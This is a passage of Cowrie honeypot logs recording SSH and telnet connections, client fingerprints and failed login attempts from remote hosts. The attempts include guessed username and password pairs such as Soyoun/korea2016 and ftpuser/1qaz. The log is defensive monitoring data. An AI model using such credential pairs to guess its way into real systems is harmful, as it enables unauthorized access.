etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:36.121549Z","src_ip":"170.79.37.88","session":"5a466056b03c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing1","password":"testing1","message":"login attempt [testing1/testing1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:36.570492Z","src_ip":"170.79.37.88","session":"5a466056b03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:37.679719Z","src_ip":"170.79.37.88","session":"5a466056b03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.370186805725098,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:40.536579Z","src_ip":"122.211.113.190","session":"9ea58c87309a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.051707744598389,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:40.628573Z","src_ip":"167.94.146.62","session":"f4f2906c825a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35766,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab22dcf1ec04","protocol":"ssh","message":"New connection: 159.203.92.129:35766 (159.203.135.109:22) [session: ab22dcf1ec04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:57.944572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:57.970306Z","src_ip":"159.203.92.129","session":"ab22dcf1ec04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:57.974301Z","src_ip":"159.203.92.129","session":"ab22dcf1ec04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2015","message":"login attempt [Soyoun/korea2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:58.004261Z","src_ip":"159.203.92.129","session":"ab22dcf1ec04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:59.038023Z","src_ip":"159.203.92.129","session":"ab22dcf1ec04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":50836,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a2351639a3c","protocol":"ssh","message":"New connection: 170.79.37.88:50836 (159.203.135.109:22) [session: 0a2351639a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:16.370564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:16.376381Z","src_ip":"170.79.37.88","session":"0a2351639a3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:16.475107Z","src_ip":"170.79.37.88","session":"0a2351639a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test0","password":"test0","message":"login attempt [test0/test0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:16.900234Z","src_ip":"170.79.37.88","session":"0a2351639a3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:18.001737Z","src_ip":"170.79.37.88","session":"0a2351639a3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57126,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3fa41a98ca7","protocol":"ssh","message":"New connection: 159.203.92.129:57126 (159.203.135.109:22) [session: e3fa41a98ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:40.314167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:40.319055Z","src_ip":"159.203.92.129","session":"e3fa41a98ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:40.323652Z","src_ip":"159.203.92.129","session":"e3fa41a98ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2016","message":"login attempt [Soyoun/korea2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:40.352926Z","src_ip":"159.203.92.129","session":"e3fa41a98ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:41.361057Z","src_ip":"159.203.92.129","session":"e3fa41a98ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00093626976013,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:42.350210Z","src_ip":"144.124.192.106","session":"89da1c280dbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":11056,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f10c8954b81","protocol":"telnet","message":"New connection: 144.124.192.106:11056 (159.203.135.109:23) [session: 3f10c8954b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:45.942636Z"}
{"eventid":"cowrie.session.closed","duration":120.00254154205322,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:49.657998Z","src_ip":"144.124.192.106","session":"48e76117547c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":12832,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1daf9ac15e9","protocol":"telnet","message":"New connection: 144.124.192.106:12832 (159.203.135.109:23) [session: b1daf9ac15e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:51.184626Z"}
{"eventid":"cowrie.session.closed","duration":120.0018835067749,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:52.020912Z","src_ip":"144.124.192.106","session":"76bbef5115c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":13210,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e31db8b61d9","protocol":"telnet","message":"New connection: 144.124.192.106:13210 (159.203.135.109:23) [session: 6e31db8b61d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:56:53.523953Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":36622,"dst_ip":"159.203.135.109","dst_port":22,"session":"5765eaf9627a","protocol":"ssh","message":"New connection: 170.79.37.88:36622 (159.203.135.109:22) [session: 5765eaf9627a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:00.379934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:00.385582Z","src_ip":"170.79.37.88","session":"5765eaf9627a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:00.487576Z","src_ip":"170.79.37.88","session":"5765eaf9627a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz","message":"login attempt [ftpuser/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:00.928488Z","src_ip":"170.79.37.88","session":"5765eaf9627a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:02.032366Z","src_ip":"170.79.37.88","session":"5765eaf9627a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58040,"dst_ip":"159.203.135.109","dst_port":22,"session":"69853aa52f2f","protocol":"ssh","message":"New connection: 80.94.92.186:58040 (159.203.135.109:22) [session: 69853aa52f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:07.273144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:07.381421Z","src_ip":"80.94.92.186","session":"69853aa52f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:07.500196Z","src_ip":"80.94.92.186","session":"69853aa52f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:08.527420Z","src_ip":"80.94.92.186","session":"69853aa52f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:09.830146Z","src_ip":"80.94.92.186","session":"69853aa52f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":57720,"dst_ip":"10.17.0.5","dst_port":22,"session":"a893ac60560d","protocol":"ssh","message":"New connection: 196.189.51.7:57720 (10.17.0.5:22) [session: a893ac60560d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:21.751995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:21.757067Z","src_ip":"196.189.51.7","session":"a893ac60560d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:21.925791Z","src_ip":"196.189.51.7","session":"a893ac60560d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwerty","message":"login attempt [es/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:22.628668Z","src_ip":"196.189.51.7","session":"a893ac60560d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6115d224864","protocol":"ssh","message":"New connection: 159.203.92.129:60856 (159.203.135.109:22) [session: d6115d224864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:23.547086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:23.550428Z","src_ip":"159.203.92.129","session":"d6115d224864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:23.554980Z","src_ip":"159.203.92.129","session":"d6115d224864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2017","message":"login attempt [Soyoun/korea2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:23.569368Z","src_ip":"159.203.92.129","session":"d6115d224864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:57:23.800834Z","src_ip":"196.189.51.7","session":"a893ac60560d","protocol":"ssh"}
